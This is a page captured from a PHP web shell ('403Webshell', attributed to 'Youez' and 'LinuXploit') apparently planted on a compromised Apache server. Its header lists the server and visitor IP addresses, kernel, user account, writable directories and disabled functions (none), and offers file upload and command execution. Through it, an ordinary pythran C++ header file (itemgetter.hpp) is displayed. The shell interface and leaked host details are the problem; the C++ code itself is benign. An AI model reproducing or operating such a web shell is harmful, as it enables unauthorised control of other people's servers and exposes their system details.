403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/pythonic/include/operator_/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/pythonic/include/operator_/itemgetter.hpp
#ifndef PYTHONIC_INCLUDE_OPERATOR_ITEMGETTER_HPP
#define PYTHONIC_INCLUDE_OPERATOR_ITEMGETTER_HPP

#include "pythonic/include/utils/functor.hpp"
#include "pythonic/include/types/tuple.hpp"
#include "pythonic/include/utils/int_.hpp"

PYTHONIC_NS_BEGIN

namespace operator_
{
  struct itemgetter_return {
    long i;
    itemgetter_return(long const &item = -1);
    template <class A>
    auto operator()(A const &a) const -> decltype(a[i]);
  };

  itemgetter_return itemgetter(long item);

  template <typename... Types>
  struct itemgetter_tuple_return {

    std::tuple<Types...> items;

    itemgetter_tuple_return(Types... items);

    itemgetter_tuple_return();

    template <class T, class A, size_t I>
    void helper(T &t, A const &a, utils::int_<I>) const;

    template <class T, class A>
    void helper(T &t, A const &a, utils::int_<0>) const;

    template <class A>
    auto operator()(A const &a) const
        -> std::tuple<typename std::remove_cv<typename std::remove_reference<
            decltype(a[std::declval<Types>()])>::type>::type...>;
  };

  template <class... L>
  itemgetter_tuple_return<long, long, L...>
  itemgetter(long const &item1, long const &item2, L... items);

  DEFINE_FUNCTOR(pythonic::operator_, itemgetter);
}
PYTHONIC_NS_END

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit